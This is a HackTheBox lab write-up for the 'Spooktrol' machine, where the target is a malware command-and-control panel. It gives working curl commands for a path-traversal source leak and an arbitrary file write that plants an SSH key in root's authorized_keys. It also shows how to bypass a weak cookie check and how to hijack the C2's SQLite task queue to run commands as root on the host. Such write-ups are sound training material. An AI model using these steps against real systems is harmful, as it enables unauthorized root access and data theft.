HTB: Spooktrol Writeup

Spooktrol - HackTheBox Writeup

Machine Information

AttributeDetails
NameSpooktrol
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Addressspooktrol.htb
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Spooktrol drops you in front of a live malware Command & Control server instead of a normal web app. The box exposes a FastAPI/Uvicorn C2 panel that hands out its own implant binary for download — a statically linked, non-stripped ELF. Reversing that implant reveals the C2’s private wire protocol (upload/download/exec task IDs, the request format for each), which in turn makes an unauthenticated path-traversal read on the panel’s file endpoint useful: it leaks the FastAPI source itself. The source confirms two implementation flaws — a trivially bypassable auth cookie and an unsanitized file-upload path — that combine into arbitrary file write. That write lands an SSH key in the container’s root/.ssh/authorized_keys. Privilege escalation off the container then abuses the C2’s own SQLite task queue: another implant, running as root on the underlying host, is polling that same database for work, so inserting a task row is enough to get root command execution reflected straight back into the result column.

TL;DR: Leak implant binary → statically reverse PerformUPLOAD/task dispatch → path-traversal-leak app/main.py → confirm auth-cookie bypass + unsanitized file_upload → arbitrary write SSH key to container’s authorized_keys → SSH on 2222 as container root (user.txt) → enumerate sql_app.db → insert task for the host’s live implant session → host implant executes as root and reports output into the DB (root.txt).


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- spooktrol.htb

Results:

  • 22/tcp — OpenSSH (host)
  • 80/tcp — Uvicorn (FastAPI-backed C2 web panel)
  • 2222/tcp — OpenSSH (internal Docker container)

Two SSH listeners on one box is a strong tell that port 22 belongs to the host and port 2222 belongs to a container running behind it — that distinction matters later.

Service Enumeration

The service on port 80 returns JSON rather than HTML, confirming a FastAPI/Uvicorn backend rather than a traditional CMS. Enumerating the app surfaced a file_management endpoint that takes a raw filename parameter:

Terminal window
curl -s 'http://spooktrol.htb/file_management/?file=implant' -o implant
file implant
# implant: ELF 64-bit LSB executable, x86-64, statically linked, not stripped

The endpoint serves a full C2 implant binary directly to any unauthenticated client — and because it isn’t stripped, all of its internal function and variable names are intact for static analysis.

Vulnerability Assessment

  1. C2 implant binary is publicly downloadable and non-stripped — reversible for the full client-server protocol.
  2. file_management/?file= accepts a raw filename with no visible sanitization — path-traversal read candidate.
  3. An file_upload/ endpoint exists whose exact wire format is unknown from the outside — but is the implant’s own exfil mechanism, so the implant itself documents it.

Initial Foothold

Reversing the implant to recover the upload protocol

Because the binary was not stripped, the implant’s task-dispatch logic and its PerformUPLOAD routine were readable directly from symbols and disassembly. That function builds and executes a curl command to exfiltrate a file to the panel:

Terminal window
# Upload request format recovered from static analysis of PerformUPLOAD
curl -H 'Cookie: auth=<hex>' -X PUT -F file=@<local_path> http://spooktrol.htb/file_upload/

This confirmed the endpoint expects a PUT with a multipart file field, gated by an auth cookie carrying a hex value.

Leaking the FastAPI source via path traversal

With file_management known to accept a raw filename, the same primitive was used to pull the application’s own source tree out from under it:

Terminal window
curl -s 'http://spooktrol.htb/file_management/?file=../app/main.py' -o main.py

Reading main.py confirmed two exploitable implementation flaws:

  • Auth bypass: the auth cookie check only verifies the hex value is divisible by 42 — it is not a real secret. GET / itself hands back exactly such a token on every request, so authentication is trivial to satisfy.
  • Unsanitized upload path: the file_upload handler resolves the destination as os.getcwd() + "/files/" + filename with no normalization or allow-listing of filename, which is taken straight from the client-controlled multipart field. That is a textbook arbitrary-file-write via path traversal.

Arbitrary write to root’s authorized_keys

Terminal window
# Generate an attacker keypair
ssh-keygen -t ed25519 -f spooktrol_key -N ""
# Grab a valid (divisible-by-42) auth cookie — GET / issues one for free
curl -s http://spooktrol.htb/ -c cookies.txt
# Abuse the traversal in the multipart filename to land the pubkey in root's authorized_keys
curl -b cookies.txt -X PUT \
-F "file=@spooktrol_key.pub;filename=../../../../../../root/.ssh/authorized_keys" \
http://spooktrol.htb/file_upload/

getcwd() for the running app resolves inside the container’s filesystem, so the traversal from /files/ walks straight up to /root/.ssh/authorized_keys inside that same container.

Shell as root (container)

Terminal window
ssh -i spooktrol_key -p 2222 root@spooktrol.htb

Port 2222 is the internal container’s sshd — port 22 belongs to the underlying host and does not accept this key. This landed a root shell inside the C2 application’s container.

Terminal window
cat /root/user.txt
# <redacted>

Privilege Escalation

Confirming the container boundary

Terminal window
ls -la /.dockerenv
# present — confirms this root shell is inside a Docker container, not the host

Enumerating the live C2 database

Terminal window
find / -iname '*.db' 2>/dev/null | grep -i spook
sqlite3 /opt/spook2/sql_app.db
.tables
-- checkins sessions tasks
select * from sessions;
-- a session row hostnamed against the HOST machine ('spooktrol'), session ID <redacted>

This database is the live backing store for the C2’s /poll and /result endpoints — every deployed implant, including one running on the underlying host itself, checks in against these tables roughly every two minutes to pick up queued work and post results back.

Hijacking the host’s task queue

With task ID 1 already known from the implant’s dispatch logic to mean “exec arg1, report result,” a new row was inserted targeting the host’s session:

INSERT INTO tasks (target, status, task, arg1, arg2, result)
VALUES ('<redacted-session>', 0, 1, 'cat /root/root.txt', '', '');

Within its normal poll interval, the host’s own implant — running as root — picked up the task, executed it, and wrote the command’s stdout back into the result column of the very row that was inserted:

select result from tasks where arg1 = 'cat /root/root.txt';
-- <redacted>

No shell, no reverse connection, no local exploit — the C2 framework’s own tasking channel was repurposed to run arbitrary commands as root on the host and exfiltrate the output through its own reporting mechanism.


Attack Chain Summary

Leak non-stripped ELF implant via /file_management/?file=implant
→ Static reversal of PerformUPLOAD + task dispatch (recover C2 wire protocol)
→ Path-traversal leak of app/main.py via same endpoint
→ Confirm: auth cookie bypass (hex % 42) + unsanitized file_upload path
→ Arbitrary write: SSH pubkey → container's root/.ssh/authorized_keys
→ ssh -p 2222 root@spooktrol.htb → container root shell → user.txt
→ Enumerate /opt/spook2/sql_app.db → find HOST's live session ID
→ INSERT malicious task (task=1, arg1='cat /root/root.txt') for that session
→ Host implant executes as root, writes output back into tasks.result → root.txt

Tools Used

ToolPurpose
nmapPort scanning
curlInteracting with C2 REST endpoints, downloading the implant/source, uploading the malicious payload
Static binary analysis (file, symbol/disassembly review)Reversing the non-stripped implant to recover PerformUPLOAD and task-dispatch logic
ssh-keygenGenerating the attacker keypair used for the authorized_keys write
sqlite3Enumerating and writing to the live sql_app.db C2 database
sshContainer foothold shell (port 2222)

Key Learnings

Techniques Practiced

  • Reverse engineering a statically-linked, non-stripped C2 implant to recover its private wire protocol
  • Path traversal in a “file serving” parameter used to exfiltrate application source code
  • Identifying and exploiting weak, predictable authentication logic (hex-mod-N cookie)
  • Arbitrary file write via unsanitized multipart filename → SSH key injection into authorized_keys
  • Recognizing dual-SSH-port layout as a signal of a containerized foothold behind the host
  • Abusing a C2 framework’s own task queue/database as a root-level command execution primitive on a peer host

Lessons Learned

  1. A binary served over HTTP isn’t “closed source” just because it isn’t source — a non-stripped ELF with intact symbols hands an attacker its entire protocol for free static analysis.
  2. Never build filesystem paths from client-controlled multipart filenames without resolving and pinning against an allow-listed base directory; os.getcwd() + "/files/" + filename is arbitrary write waiting to happen.
  3. “Authentication” that accepts any value satisfying a cheap mathematical property (divisible by a constant) is not authentication — a real secret must be unpredictable and server-verified as such, not just structurally validated.
  4. A C2 architecture is a two-way trust relationship: whoever can write to the tasking datastore effectively controls every implant that polls it — including ones running as root on entirely separate hosts.
  5. A second SSH listener on a non-standard port is itself recon signal — it usually means a Docker container’s internal sshd is reachable behind the host’s real one, and the two are separate privilege domains.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Official HackTheBox writeup for Spooktrol, prepared by kavigihan (machine author: ippsec) — consulted for explanatory context on the Ghidra-based implant reversing workflow and the general concept of pivoting through a C2 framework’s own database to escalate to a peer implant’s privileges. All IPs, commands, outputs, and credentials in this writeup are from this author’s own solve, not the reference.